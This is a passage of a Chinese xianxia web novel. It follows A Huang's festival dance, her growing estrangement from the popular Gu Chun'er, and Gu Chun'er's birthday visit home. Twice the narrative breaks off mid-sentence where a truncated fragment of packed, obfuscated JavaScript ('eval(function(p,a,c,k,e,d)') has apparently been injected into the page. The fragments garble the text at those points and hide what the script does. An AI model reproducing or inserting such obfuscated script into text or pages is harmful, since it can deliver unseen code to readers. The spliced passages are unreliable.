她偷偷看着他藏蓝色的背影,低头看着自己正红色的裙装,样式和他身上的衣服有些相似,行走间露出的舞鞋,鞋头点缀鸽子蛋大小的珍珠。 这么久了,唯有今天,她好像久违地找回了属于自己的自信。 如此精致美丽的她,被朋友簇拥着,被旁人用欣赏的目光看着。 在伙伴们的围绕下,她提着裙摆,步履优雅,向着神机庭而去,一路上有不少人也在往那边赶。 神机庭分为几个区域,其中一个就是进入凡尘十二镜历练的场地,现在所处的区域,是专门祈天而用。 一众长老已经位于高台之上,阿凰看到了玄极,他看过来,看了她一眼,便收回目光望向场地别处。 龙柱伫立在场地中央,口中衔了一颗珠子,发出淡淡的光辉,底下摆放香炉,最年长的长老说完几句开场白,就由十几个弟子提着果篮有序上前摆放,接着是几个长老依次到香炉前上香。 整个过程并不漫长,很快就要开始表演了,阿凰看了看伙伴们,独孤凤渊三人坐在乐师席位上,另外三人在观众席。 袖子底下的手捏了捏,她深吸一口气,待有人宣布上场,便提着裙摆拾阶而上,待来到台上,便立刻进入状态,摆出预备动作。 由山水侗所演奏的空灵的箜篌声引入正文,舞蹈正式开始,阿凰缓慢跳起开场动作,面上的印记被面纱遮盖,露出那双精致的眉眼,此时带了笑意,如远山幽静大气,明明近在眼前却触不可及,宛如一幅珍藏已久的古典山水画。 跳到一半,众人早已被深深吸引,都默契地保持安静观赏,此时阿凰向两边一甩水袖,随着乌妤弹奏的琵琶声,背对观众平稳而缓慢地下腰,起身时,衔接动作后她自然地挪到边缘位置,给自己下一套动作留空间。 只见红色的倩影一花,阿凰左右脚交替跳步,形成移动翻身的动作,裙摆随着动作被甩成一朵花,乍一看就是活脱脱的一朵扶桑花,快速蹬地起跳后,她用脚尖落地,完成了一串连续多次的空中翻身跳跃,动作干净利落,极具灵动和爆发力,轻盈敏捷得像只自由翻飞的凤凰。 最后以一个点翻收尾,伴随着独孤凤渊结尾的埙声,阿凰转身后一手在胸前,一手自然地垂下,背对众人缓缓走去,在某处停步,彻底结束了这支舞蹈。 这是一支充满了表现力与难度的舞,技巧性极强,或者说,天舞缭乱一整套体系都是这种舞,除非是天生的舞者,否则连门槛都摸不到。 阿凰内心还有一点遗憾,若今天这个表演,有一群身穿水色衣衫的女子伴舞就好了,可以表现的细节会更多,她一人登台只能独舞,群舞会更精彩。 直至乐声消散,众人爆发出惊叹声与欢呼声,叹为观止,交头接耳谈论着刚才亲眼所见的画面。 在此之前,这些人有幸见过拜师大会那日阿凰的表现,本以为那就是最精彩的地方,没想到她还会有更强的表现,让人不禁期待,下一次她是不是又会超越自己? 明明是一个看似柔弱的女子,身姿纤细,跳起舞来却刚柔并济,具有极强的爆发力,甩水袖都带着剑意,动作之连贯性,都在昭示这支舞和舞者绝非常人。 没见过拜师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山水侗一向无喜无悲的眸中此时也呈现赞赏之色,之前在观众席的三人也叽叽喳喳地贡献赞美之言,阿凰听得有点飘飘然。 她有多久没有被这么真心夸赞,被大家的目光注视着,就好像,在这个世界她终于有了参与感。 视线故作不经意地在众人身上扫去,阿凰假装不去看某人,可扫过他的时候还是看到了他,依旧是反应平平。 好吧,她早就习惯了,她再怎么出彩他也不会对她感兴趣,干嘛非要关注一个根本就不在意自己的人的目光呢? 她总想在他面前表现自己,又怕心思太明显,被别人看出来说孔雀开屏。好在今天这个日子,她怎么精心打扮都是合理的。 可阿凰没发现的是,在她起舞时,那个藏蓝色身影也是有看呆了的时候,那是短短一天之内,他眸中第二次因她露出惊艳之色,惊叹于她的表现力。 “四肢细长的人跳舞就是好看,尤其是阿凰这身段,天生就是适合跳舞的。”乌妤毫不吝啬赞赏之意。 独孤槿也满面笑容:“你跳舞的时候投入自我,特别自信美丽,你知道吗?你就应该是这样子!” “其中有你们很大的功劳,否则我还没法跳得这么顺利呢。”阿凰以微笑回应伙伴。 “祭典结束后,找个时间由我做东请客,大家一起庆祝一下吧?”乌妤道,试探性看向山水侗,“侗师姐会来吗?” 静立在那儿的女子微微颔首,她便更开心了,阿凰既有点意外又很高兴,不喜社交的高岭之花大师姐不仅愿意配合她,还答应要来陪她们玩。 “表哥,我们也去吧?”独孤槿小声询问。 独孤凤渊没有立刻回应,而是过了一会儿才淡淡吐出几个字:“没功夫。” 37. 越位社交 祭典结束后已是下午,阿凰回到观画阁,依旧带着球球去草地玩,连续几次都没再见到那条狗。 没玩太久她就带球球回去,半道上远远看见了正枫,正要过去打个招呼,另一边一抹粉色身影小跑过来与正枫打招呼,不知她说了什么,巧笑嫣然,笑得正枫这个老实人脸都红了。 她便笑得更开心,笑声呵呵呵的乐,满是妙龄少女天真无邪的模样,正枫挠挠头,结巴地回应她的话。 直到那个女孩走远,正枫脸上和耳朵上通红的颜色还没减淡。 “没想到你老实巴交的,竟也有少女怀春的样子?第一次见到你这样,真是奇妙。”阿凰坏笑着拍拍正枫的肩膀。 他吓了一跳,脸上更是窘迫,支支吾吾地说没有。 他这个老实人第一次面对这种事,没察觉自己被撩拨心动了,可阿凰看得出来,这可太明显了。 她调侃道:“没有人可以拒绝甜妹~” “我、我,我真的没有!方才顾师妹只是在和我问你的去向。” 阿凰再次感到奇怪,怎么每次顾纯儿都向别的男子问她的事?她总觉得自己无形中成了顾纯儿和男人交往的谈资,很别扭的感觉。 她没打算问刚刚两个人聊了什么,因为不太礼貌,可正枫自己倒抖搂出来,看来很慌张了,她便不逗他了,想到一个很现实的问题:“喜欢她的人很多,你确定竞争得了吗?” 也许是正枫也觉得自己心思太明显,他不打算在朋友面前说谎了,也许他也联想到自己的条件,沉默良久,说:“我没想过这些,顺其自然吧。” “我们就是路人甲的命,老老实实当我们的炮灰吧。”阿凰自嘲道,低头看了看小箩筐里的球球,它的眼睛那么纯粹,一尘不染。 与正枫分开后,阿凰又遇到了一个人,是好一段时间没见到的许萧然,她带上笑容主动打招呼:“小许,好几天不见了……” 叫他小然是徐子岑的事,她虽说过大家这么称呼他就行,可阿凰边界感还是有点重,觉得小然是徐子岑的专属昵称。 许萧然却视若无睹,脸上没什么表情,甚至还绕过了她,自顾自走远了。 怀里的球球好像察觉到陌生人的存在,有点害怕,她懒得多想,也想不明白,安抚着球球继续走。 进了屋,桌子上放着一个巨大的花苞,见到她自动打开,里面装了一大堆灵石,还有一封信。 打开是利落有力的字体,是玄极的信,只写了四个字:表现不错。 太好了,终于有自己的小金库了。 阿凰先是去把之前赊的账还清了,才赶去药宗给自己配药,又给球球买了点吃的玩的,回到家放好,想起来顾纯儿和正枫问话,便要去问问她找自己有什么事。 来到探琴阁,这是阿凰第一次来到这里,之前也想主动找顾纯儿的,可是要么她不在,要么都是人,热热闹闹的,她不好意思贸然加入,顾纯儿不主动邀请,她更不好意思过来。 最近很少见到她,阿凰怕她对自己有什么误会,再扭捏导致误会加深就不好了,不得已只能不请自来。 探琴阁打扮得像个仙宫,各种稀奇珍宝不要钱地堆,感觉吸一口气都要涨数倍修为。 好在这会儿只有三个人在,一个是正在说笑的顾纯儿,一个是阿凰从未见过的女子,打眼看去和顾纯儿是截然不同的风格,另一个,就是刚刚无视了阿凰打招呼的许萧然,眼下正十分活泼熟练地接顾纯儿的话茬。 那个陌生女子首先发现了阿凰,和另外两人示意,他们才抬眼看过来,停下话头一瞬间都安静了,被三个人盯着,有一种她打扰到他们谈话的错觉,阿凰有点别扭。 这画面就像一些误入主理人咖啡厅的网络段子,打断了主理人和朋友聊天,被他们很mean地打量…… “阿凰,你怎么来啦?”顾纯儿从石凳上站起,迎上来。 “听正枫师兄说你在找我,我就过来了,有什么事找我啊?”站在她面前,阿凰便不打算过去了,另外两人显然没有欢迎她的意思,反而用一种奇怪的眼神看着她。 “哦……这样子。”顾纯儿回忆了一下,“没什么事,我只是想说,阿凰今天大放异彩,太美了!” “你也在啊?”阿凰有点惊喜,可是想到了原本顾纯儿也该上场的,她那么喜欢表演,喜欢唱歌,又想到玄极让自己留堂的场景,她收敛起情绪,想主动解释,又怕显得很刻意,在有心人眼里就是在炫耀。 顾纯儿显然也不想提,扯开话题:“我们在聊天呢,你要不要也一起?” 撞上那两人的目光,阿凰心里有一种怪异的感觉,摇摇头:“不用了,我要回去喂猫了,不过,我刚刚听到你说对舞艺很感兴趣,你说也学过,要不要一起学学?” 她心里想的是,如果顾纯儿真的很喜欢,学得很高兴的话,她甚至打算尝试把天舞缭乱教给她。 “好啊。” 离开探琴阁,夜月姬才出声:“你没发现吗?她刚刚答应得很勉强,就是客套话而已,你不会真信了吧?” 阿凰懒得理会,她对顾纯儿意见很大,问了又不说,她只会觉得莫名其妙。 直到次日,阿凰要去约好的地方和顾纯儿一起学舞,夜月姬还在阻止她赴约。 到了地方,等候许久没见到人,夜月姬更嚣张了:“我说什么来着?看你这倔脾气吃亏了吧?被放鸽子了吧?” 随即还唱了起来:“小鸽子的滋味,我跟你都想了解~” 阿凰被逗笑了:“神经。” 红日从东边的山头移到头顶,又向着西边慢慢落下,顾纯儿还是没来,阿凰虽坐在树下,还是被热气熏得发晕,背后也出了一层汗。 “够了我心疼你,先回去吧,别再犟了。”夜月姬道,“说不定人家有事没来,回去看看吧。” 回到观画阁,正好看见顾纯儿刚回来,阿凰故作轻松问起:“纯纯,我们约好了一起学舞,你怎么没来啊?” 她没说自己等了快一天,等得要被晒晕过去。 顾纯儿看了她一眼,表情淡淡的:“临时有事忙忘了。” 也没说下次再约,没有一丝歉意。 在阿凰勉强地表示没关系后,她扭头就走了。 又是这样,忽冷忽热的,阿凰回忆自己哪里又惹她不开心了。 回到屋里,球球围着她转圈圈,然后在猫抓板上挠爪子,欢迎主人打猎归来,虽然手里空空的,可是也辛苦了。 她摸摸软乎乎的小猫脑袋,心不在焉。 “现在你明白了吧?她就是不想来,又不想主动拒绝,怕有损自己的名声,就打算冷处理,以为都不提这件事就过去了,谁知道你这么老实,真的等了好几个时辰,竟然还张口问她?”夜月姬无奈道。 阿凰表面淡定,实则是没招了。 “人家只是立人设,可不是想向你学习,你还当真了,说不定嫌你没眼力见,自己上赶着,谁叫你刚刚出了风头呢?” 真是这样吗?对她不满为什么不说呢?她真的没有抢顾纯儿风头的意思,也不是一个赛道的啊? “抢风头这种事还分赛道吗?而且人家心里可不觉得你是朋友,有误会需要解释。”夜月姬叹了口气,“还有你那个姓许的朋友,我都不想说。” 夜里,阿凰躺在床上,看着从窗口撒进来的月光,心里迟迟静不下来,总是想起很多事。 于是去和乌妤赴约时,她还打着哈欠。 刚离开,顾纯儿甜甜的声音就从身后传来,本来阿凰就有点不高兴,一而再再而三被那么对待,是个泥人都有三分火气。 可是看到她身边的玄极时,阿凰冷静了,同时也保持疑惑。 “等等我!”顾纯儿小跑过来,亲昵地拉住阿凰的袖子,“你要去哪里呀?” “我和乌妤约好了,她要请客,可不能失约。”阿凰话里有话,还特意点出乌妤的名字。 顾纯儿却没有异样的表现:“我可以一起去吗?” 不知道她想干嘛,阿凰只能应下:“好啊。” 她转身催促玄极:“师父快来!” “你们自己玩吧,本座在场你们不能尽兴。”玄极道。 她撒娇道:“不要,不许走,你陪我。” 阿凰鸡皮疙瘩都要掉了一地,这师徒俩真不对劲啊,一点也不避嫌。 玄极没什么反应,顾纯儿便当做答应了。 到了地方,一见到来人乌妤果然脸色微变,阿凰向她使眼色,她明白了怎么回事,又拿出笑容:“欢迎大家,欢迎玄极长老,还有纯纯,好久不见。” 顾纯儿笑着回应,声音很甜,语气却平淡:“是啊。” 待众人入座,顾纯儿粘在玄极身边,除了阿凰乌妤和山水侗,所有人都想凑到顾纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想了想,顾纯儿也许是害怕幻境的事发生吧,难怪最近的行为都不太对劲。 正在思索,一个女子喊了声“纯纯”,思绪被打断,阿凰看去,来人正是她在顾纯儿住处看到的陌生女子。 “丽丽!”顾纯儿肉眼可见的开心,冲上去和她拉手。 两人姐妹贴贴,阿依古丽拿出一颗通红的果实:“这是我刚得的朱果,给你留了一颗。” 顾纯儿推回去:“你留着吧,我反正也吸收不了多少,况且我那里还有一些呢,都是别人送的,回头给你拿几颗,我不缺这个,上次我还给了宋师弟两颗,他可是修为大涨呢。” 她不在意,阿凰很在意啊! 修仙界里的朱果就是修为提升器,多少人求之不得,顾纯儿竟然不缺,还随便送人。 好吧,她承认她羡慕了,可是那又怎样呢?人家宋师弟比她认识早,关系更好,顾纯儿送朱果也正常。 看那边两人聊得开心,阿凰怕自己再听要羡慕到吐血了,道了个别就自己回去。 回想起今天的事,她莫名的很疲惫,都没什么精神带球球出去玩了。 她失去了朋友,球球也失去了狗狗伙伴,何尝不是一种默契? “越位社交,记得这个词吗?”夜月姬冷不丁地说话。 阿凰一屁股坐在床上,球球跳上来在她腿上踩奶。 她莫名有点感兴趣,想听夜月姬分析了。 “不经过中间人也就是你,私底下跟你的朋友往来,最后她把你挤出去,和你身边的人都熟悉了,你反而被踢出局,熟悉吗?” 前世不美好的经历涌入脑海。 “所以你在疑惑,自己的朋友们什么时候突然成了顾纯儿的好朋友?仿佛自己缺失了一段记忆,是不是迎刃而解了?” 脑子里好像有一根线缠得很乱,阿凰反问:“那为什么乌妤和山水侗没变化?” 夜月姬笑了笑:“乌妤显然是有故事的,她也说了,曾经,等她愿意告诉你吧,至于山水侗,此人也是不同寻常的。” 阿凰沉默了,她又说:“只要你能倾听,你就有听不完的垃圾话,你等着吧,以后顾纯儿会一直跟你倒垃圾,只需要略施小计你就陷入情绪中。你以为她把你当朋友才跟你说小女儿心事?有没有可能,有一种人就是缺乏关注度,就像是需要你对她和别人的事情做reaction。” “她这样的人会缺关注?” “富人也不会因为钱多就停止炫富啊,反而更要炫,低调有内涵但又要让所有人都看到地炫。” 阿凰脑子里的线缠得更乱了。 但有一点她不得不承认,她发现认识的人都跟顾纯儿成了好朋友,她好像又要变成一个人了,这情形,和镜中世界的经历好相似。 38. 倾心暖玉 顾纯儿的生辰到了。 这个消息阿凰还是从别人嘴里知道的,又一问才明白,顾纯儿要回清音门大办生辰宴,消息来得太突然了,她一点准备都没有。 “人家都没告诉你,不就是没打算让你参与吗?”夜月姬又在锐评。 着急忙慌地给顾纯儿准备生日礼物的手停下,阿凰还在试着换位思考:“也许是她太忙了就忘了……” “不要再骗自己了。”夜月姬打断她,语气平静。 像被按下暂停键,阿凰站在原地有些无措。 夜月姬看了心疼,可她不能让她再这样:“总之这一次你一定得听我的,我绝不允许你跟着去清音门,我们……都会很惨的。” 不知道她为何如此笃定,阿凰只能听从,她好歹也是个前辈,不听前辈言吃亏在眼前。 外头嘈杂热闹,是来给顾纯儿道喜的大队伍,所有人都围着她转,忙得不亦乐乎,其中还有一大堆人要跟着她去清音门,从窗口望出去,阿凰看到人多得要排到自己家门口了。 她也想去道个喜,哪怕只是说一句生辰安康呢?让顾纯儿知道她这个朋友也在挂念着她的,可是看了看人群,每个人都带了珍宝礼物,她没有任何拿得出手的,就一句生日快乐显得多寒酸啊,就算她们本人不介意,旁人也会说闲话的。 独孤凤渊也挤到了顾纯儿的门前,满面春风,打扮得一派矜贵之气,连头发丝都一丝不苟,一看就是用心了的,独孤槿跟在他身后,也带了一大包礼物。 还有宋清希,还有正枫,玄极、许萧然、徐子岑、还有…… 阿凰忽然觉得这世界很吵闹,吵得她心烦意乱,耳鸣冲击着耳膜,脑子里只剩一阵阵嗡鸣,她只能死死捂住自己的耳朵,躺倒在床上。 许多记忆涌入脑海,一股莫名的情绪将她拉入无尽的痛苦之中,绞痛从心口蔓延,入侵四肢百骸,不知道什么时候,她的四肢被冻得失去知觉了,仅剩的感受就是好像有一股股寒气从骨头里冒出来。 门被强力破开,阿凰感受到一股清冷的气息笼罩着自己,却觉得很温暖。 许久之后,她终于清醒过来,才发觉外面天已经黑了。 “阿凰。”山水侗在抱着她。 怀里被塞了一件璧,散发出舒适的暖流,阿凰才明白刚刚发生了什么,她的寒毒又发作了,是山水侗用这件璧救了她。 “谢谢你……多谢,要是没人管我,我就已经死了。” 山水侗问:“为何不告知玄极长老?” 阿凰被问住,嘴里发苦,后知后觉,她总是顾虑这个顾虑那个的,可是命没了,顾虑再多又有什么用呢? “总之谢谢你。”她苦涩地笑出来,蹭了蹭山水侗的衣衫,“你的怀里好温暖,像姐姐一样。” 后者愣了一瞬,破天荒的露出一丝笑容,语气似乎不像平日里那么冷淡:“你也很温暖。” 陪了她许久,确定她真的没事,山水侗戴好帷帽道别,阿凰要把璧还给她,她却说:“此璧为倾心暖玉,可驱天下至寒之毒,你最是需要,不必归还。” 直到山水侗的身影消失,屋内重归平静,阿凰呆呆地望着外头,人去楼空,繁杂的热闹之后只留下枯枝败叶。 捂好怀里的倾心暖玉,用以压制寒毒,阿凰脑海里回响着山水侗的话:据说天下至寒之心都会被暖化。 …… 在阿凰严寒入体痛苦不已时,对比之下,另一边热闹非凡。天色微明,大队伍浩浩荡荡地到达清音门。 “爹爹!娘亲!我回来啦!”顾纯儿奔跑进屋,要不是有外人在,她已经把繁杂的外衣丢了。 得了门人禀报,顾纯儿的父母前来见客,打眼望去,竟似一对举世无双的仙人。 门主顾霖面似冷锋,满头华发,却只有二三十岁的模样,白色眉梢向上挑起,带着一股桀骜不驯的意味。 门主夫人韩仙仙,不愧为修仙界第一美人,明媚的面庞始终带着笑意,明明身姿婀娜,行走间摇曳生姿,却总让人感受到那是一种很危险的美,不敢贸然接近。 “各位小友亲自登门为我儿庆生,我自会将各位当贵客看待。”顾霖开口,音色低沉。 “各位请入座歇脚吧。”韩仙仙人美声也美,声音中都带着笑意。 她去吩咐人安排来客的住所,顾霖在会客厅接待众人。 不知是顾霖不善言辞,还是什么原因,他并未久留,与众人说了几句话便离去,玄极跟着他并肩远去,留下顾纯儿和伙伴们。 这对夫妻在整个修仙界都很有讨论度,在场的人虽喜爱顾纯儿,可是对于她的父母,他们想起另一种传闻,多少还是有些畏惧的。 尤其是亲眼所见,两人光凭气势就能压得一众晚辈抬不起头,直到顾霖也离去,众人才敢开始说话。 “没想到有一天真的能进入清音门,还见到了顾门主。”许萧然激动之情久久不能平静,和顾纯儿说着话,“不愧是当年的天之骄子,一己之力清除仇敌,重振清音门荣光,气势都那么具有压迫感。” 徐子岑挨着他,也附和道:“是啊是啊,一看就很了不起,门主夫人乃修仙界第一美人的名声我早已有所耳闻,今日一见真是叹为观止,连我一个女子都看花了眼。” 听着旁人夸赞本就优秀的父母,顾纯儿很是受用。 “原来师父和顾门主真是故友。”宋清希若有所思,“纯儿师姐知道他们怎么认识的吗?我也想听听他们的光辉事迹。” 旁人也露出期待的眼神,顾纯儿是想显摆一下,可她自己也不知道长辈的一些事,爹爹和师父两个人本质上都是严肃的人,有时候她撒娇也不好使,他们不想说的事,她也不敢再多过问。 她便只能找个话题糊弄过去,又想起来自己的弟弟妹妹,好一段时间不见了,怎么这会儿来了客人不出来见客?便吩咐门人去叫他们。 望着顾霖和玄极离去的方向,独孤凤渊静言思之。若凌霄宗能和清音门交好自然是好事,最好的方式,就是联姻,这对他来说求之不得,是一举两得的美事。 顾纯儿一时半会儿还不接受他也没关系,只要关系建立了,日子还长久着,修行者寿命长,他有的是时间慢慢走进她心里。 只不过,以他这段时间的观察来看,玄极似乎是个棘手的竞争对手。 不多时,一对男女在门人的簇拥下走来,装扮精美华贵,女孩十五岁上下的模样,男孩也就十二岁的样子,眉眼中依稀可见韩仙仙的神采,而女孩神色之中已可瞥见其父顾霖的神貌。 有人夸耀起来,语气中不乏艳羡:“怪不得人们都说男孩像母亲,女孩像父亲,如今一见,顾门主夫妇的儿女也是如此,都有其父母的神采,真是虎父无犬子。” “是啊是啊,顾门主三个儿女都是人中龙凤,未来可期啊!” 顾纯儿唇角勾起满意的弧度,拿出家中长姐的气度,起身招呼弟弟妹妹:“安宴,双儿,快来见过客人。” 那位名为顾安宴的少年先走上前来,规规矩矩地向众人作揖:“贵客远道而来,如有怠慢多多见谅,在清音门无需拘谨,既是大姐的朋友,权当做在自己家就是。” 满意地听他说完,顾纯儿看后边的少女没有反应,清了清嗓子:“双儿,不可无礼。” 顾双儿这才不情不愿地走到弟弟旁边,迅速又敷衍地行了个礼:“欢迎各位,我身子不适,出来会客已是不易,这便先回去歇着了。” 说罢也顾不上众人尴尬的气氛,自顾自离开。 “妹妹年纪小,一向任性惯了,牛耳朵似的怎么说也不听,失礼之处还请大家见谅,回头我就好好说她。”顾纯儿解释道,态度挑不出一丝毛病。 顾安宴也致歉:“我替二姐向各位道个不是。” 众人皆表示无碍,姐弟俩才坐下来。 独孤凤渊笑说:“我像小妹这个年纪,也有很任性的时候,可以理解,长大些便好了,纯儿师妹不必苦恼,日后她终究会理解你的良苦用心。” 顾纯儿点点头以示回应,心里想着,但愿吧。她可没什么精力应付这个任性的二妹妹,也不该由她一人管教妹妹,她自己都还是 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知道妹妹顾双儿又在耍小脾气,不来宴席上,顾纯儿怒从中来,面上又不好表现,只能微笑着与门人耳语,无论如何都要让妹妹过来。 门人去而复返后,带来的消息依旧是顾双儿不肯来,说病体不便见客,不想打搅了姐姐大喜的日子。 一番话术听起来确实没什么毛病,可顾纯儿比外人都清楚,这个妹妹的倔脾气都是惯出来的,这些日子她不在,没人管她,果然变本加厉了。 这种日子偏偏就缺她一个,叫人去请她也不来,这不是在明着打她的脸么?她的生日,这么多人都给足了面子,大老远从紫微派而来,自家亲妹妹反而缺席,像什么样子? 不知道的就要说小话了,说顾门主夫妻俩不会管教孩子,教出这么一个没规矩的女儿,这还是她的亲妹妹,妹妹没规矩,她的名声也会受影响。 不得已,顾纯儿只能当着众人的面,走到母亲韩仙仙身边,撒着娇与母亲耳语,讲明了这件事。 没想到韩仙仙却说:“不必管她,让她去吧,逼急了她又要把自己的房门锁起来,缩在被子里几天不肯见人了。” 和顾霖说了这个情况,他也说不用管,顾纯儿无奈,怕众人看出异样,只能装作无事发生,归座与众人说笑。 许久之后,宴席散去,夜渐渐深了,门中终于归为平静。 无人在意的角落,顾双儿独自走在暗中,也不点灯,没带上用以照亮的夜明珠,真丝披帛一半掉到了地上,另一边还挂在臂弯,她也不去理会,任由昂贵的披帛拖在地上,沾染了灰尘一片暗沉。 再热闹又和她有什么关系?这门中的热闹从来都没有她的一份,明明她也是他们的女儿,清音门的二小姐,可是谁在乎? 姐姐披星戴月,万众瞩目,爹娘对她爱不释手,弟弟身上被寄予厚望,是未来的门主,他也被爹娘视若珍宝,只有她顾双儿,不上不下的,处于一个很尴尬的位置,所有人谈起爹娘的后人时,都是姐姐怎么样弟弟怎么样,从来都没有她。 哪天她死了都没人发现吧。 经过一处墙角,说闲话的声音钻入耳中,顾双儿原本不想理会,可是捕捉到了大姐的名字,她脚步一顿。 “门主夫妇真是美貌无双啊,我若有她一分美貌就好了。” “我也是他们的女儿该有多好?至少能继承爹娘的美貌呢!” 一人幸灾乐祸道:“那可不一定,有的人虽然身为第一美人的女儿,却一点美貌都没分到,反而弟弟妹妹都传承了。” “是啊是啊……”有人附和道,“说来真是奇怪,怎么就她一点美貌也没继承?门主夫人那么美,可她作为大女儿却……要是不说谁知道她是门主夫人的女儿,她看起来比她亲娘都显老。” 几个人不敢说太多,没一会儿就溜走。 顾双儿冷笑一声,看着远去的几个黑影。 真是精彩,原来大姐带了一群白眼狼回家啊……她若亲自听到这些会怎么样呢? 39. 真正的搞笑女 自从有了倾心暖玉,阿凰恢复得很快,甚至因为带着它,感觉身子比以前好了不少。 很多人都去了清音门陪顾纯儿过生日,本就没什么人的无尽峰更冷清了,阿凰竟觉得自由自在了不少。 她背上小箩筐带着球球出去玩,刚到外面就看到聚集了几个人,在探头探脑的。 是四季姐妹团啊。 “你们在找谁啊?”阿凰主动迎上去问。 四个女孩上下扫视她,那种巡视的目光让她很不舒服,为首的女孩很明显是四个人里的核心人物,阿凰记得她叫弥秋。 她看了阿凰一眼,问:“你是谁?怎么在这个地方?” 感受到来者不善,阿凰收起友好的笑容,淡淡回道:“我是玄极长老的弟子。” “哦——”弥秋了然,还是那种用鼻孔看人的态度,语气也很不屑,她又问,“纯纯去哪里了?” “他们回清音门庆贺生辰去了。” 四季姐妹团面面相觑,显然很意外,不知是不是因为她们得知了自己没有被邀请,连一个通知都没得到,最后还是从别人口中才知道的。 弥秋有点尴尬,又暼着阿凰,正脸都没给她:“那你怎么在这里?你不也是玄极长老的弟子吗?那就是纯纯的师姐妹,你怎么不去为她庆贺?” 这种高高在上的语气让阿凰很不爽,好像在指责她故意不去,明明她是被落下的那个,一个旁人反而也来指责她。 “我是这里的弟子,当然会在这里,至于为什么不去庆贺,没有得到邀请的人自然去不了,你说呢?”阿凰意有所指地看着她,“对了,我记得你们和纯纯是好朋友,怎么也没有被邀请啊?” “你管得着吗?”弥秋不屑,嗤笑一声,“你自己不也是一样?亏你还和纯纯住得这么近,又是玄极长老的徒弟,就这个待遇啊?也不怎么样。” 说完,她带头走人。 两方女孩因为另一个女孩互相伤害,不愉快的结尾。 “莫名其妙为顾纯儿出头的小弟小迷妹还挺多。”夜月姬阴阳怪气地感叹。 “是啊是啊……”阿凰敷衍回应。 安静了会儿,夜月姬疑惑道:“没想到四季姐妹团这么追捧她,也没被她放在眼里啊,有时候真搞不懂这种人的心理,到底什么人才配被她正视?你不好奇她都邀请了什么人去?” “还用纯纯亲自邀请吗?知道了她的生日,大家都自觉的表示要一起去咯,再晚点就赶不上热乎的了,还等人家邀请。” “可是你没发现不是所有人都能去的吗?” “那不是很正常吗?”阿凰不知道她想表达什么。 夜月姬沉思不语,好一会儿又说:“可别告诉我,她带走的人里边大部分都是男人哦?” “你又开始了。” “你先别说我想多。”夜月姬抢先说,沉思起来,“仔细回想一下,这些日子以来,短短的时间里,她就越位社交抢走了你们身边的人,她在搞小团体啊,连乌妤的朋友她都抢。” 知道这个心理大师又要开始分析,阿凰也懒得打断她,只是继续走路,顺便空出一只手摸摸球球的脑袋。 “所有你们先认识的人,顾纯儿都能迅速结交并让关系更好,可是,她和女人只是处于认识的关系,和男人却能迅速熟络,这就不得不多想了。” 回想起来,阿凰感觉自己是不是太迟钝了,要不然夜月姬说的这些她怎么都没发现? “要是到了连你都能发现的地步,就已经是藏不住的,明显到溢出的地步了。”夜月姬说,“可是私底下呢,她对你忽冷忽热,人前照顾大家的情绪,对你热情友好,有时只是顺便关照一句就让你感动不已,轻而易举被她吊着情绪,再时不时找你吐苦水,让你误以为她很信任自己。我分析得对不对?” 阿凰并不精通心理学,但她有自知之明,自己是个高敏人,对于微妙的情绪是能先比别人感受到的,只是很多时候她不愿多想,不想恶意揣测别人。 “所以,你猜正枫这时候在哪?这个老实人,你最善良单纯的朋友,是不是也被勾得跟去清音门?” 沉默良久,阿凰语气平静:“不论是正枫,还是独孤槿独孤凤渊他们,去不去都是他们的自由,我没理由牵扯别人,我自己没有被邀请,算我运气不好咯。” 夜月姬却笑道:“不,是你运气好。” 远远的飞过来一个蓝色身影,落在面前,是提着篮子的乌妤,篮子被盖起来,还在往外冒着热气。 “听说猫喜欢吃玉米,我找了食修种的玉米,用灵泉水煮好了带过来。”乌妤拍了拍篮子,看到阿凰怀里的球球,眼睛笑得眯起来,伸手戳戳它毛茸茸的背,“小猫猫球,好乖好乖。” 原来还有食修啊,真是什么修都有,不知道还有哪些?阿凰真是长见识了。 不得不说,乌妤自己就是个甜妹,真正的搞笑女,有梗活泼会活跃气氛,会照顾到每一个人的情绪,有使不完的活力,加上长相甜美,青春活力,还是个不拘小节的性子,怪不得来了紫微派一年就受到大家的喜爱。 在阿凰眼里,她简直就是个完美人,属于是相处起来就让人很轻松的性格。 这么好的人,和顾纯儿这么优秀的人到底会有什么误会? “因为是同类型的,有危机感吧?”夜月姬说,“假甜妹在真正的甜妹面前原形毕露,自惭形愧了,怕自己的地位被威胁咯,在幻境里都要把自己老朋友当奴隶掌控。” “睡你的去。” 她又关机了,阿凰接过篮子,打开是金灿灿的玉米,香气四溢,闻得她都有点饿了。 可是她想起短视频平台看过的白猫吃玉米,画面很是猥琐,顿时有点想笑。 “白猫不许吃玉米。” 乌妤疑惑:“为什么?” “等会儿你别笑。” 开玩笑归开玩笑,既然猫喜欢吃,阿凰还是要给它吃的。 把球球放下来,她便拿了一根玉米放在它面前,猫咪就着她的手啃着玉米,吃得倒香,就是吃相十分滑稽,眼睛眯起来,显得更猥琐了。 乌妤“蛤蛤蛤”的大笑起来,一旦开始笑就停不下来了,阿凰都怕她笑岔气了,大笑之余她还有功夫说:“为什么会这样啊?为什么一只猫的脸上会出现人的表情!” 阿凰也捂着腰笑,两个人笑得在地上打滚。 球球依然吃得很香。 笑够了,阿凰坐在地上,看着乌妤脸上未褪尽的笑容,又想起刚才的事。 她也是个美人,却从不在任何人面前自夸,反而从不吝啬对别人的夸赞,这是一种很难得的品质。 这么想,阿凰也把想法问出来了,乌妤想了想,说:“我怕没有同样优点的人会自卑,尤其是女孩子,本就在意容貌,我不想在别的女孩面前炫耀。” 此时此刻,阿凰仿佛能看到乌妤身上散发出人性的光辉。 “反正我不理解整日说自己好美好甜的人,还非要别人都知道,曾有一个朋友便如此,喜欢在圆润的朋友面前说自己吃不胖好烦,虽然也不见得她有多瘦。” 她话里的指向太过明显,阿凰欲言又止,又不知从何问起。 “我听说你也是从清音门来的。”她试探着开启话题。 乌妤转头看着她:“是啊。我爹本是顾门主旧友,将我托孤在清音门,被排挤后,我就自己跑出来,也没人管我,我就这么来到了紫微派,开启新生活。” 没想到她会一口气透露这么多,阿凰有点意外,更意外的是那个字眼。 “排挤?” “对。”乌妤郑重地点头,“但是我猜你不会想知道是谁干的,现在的你也许不会信我的话。” 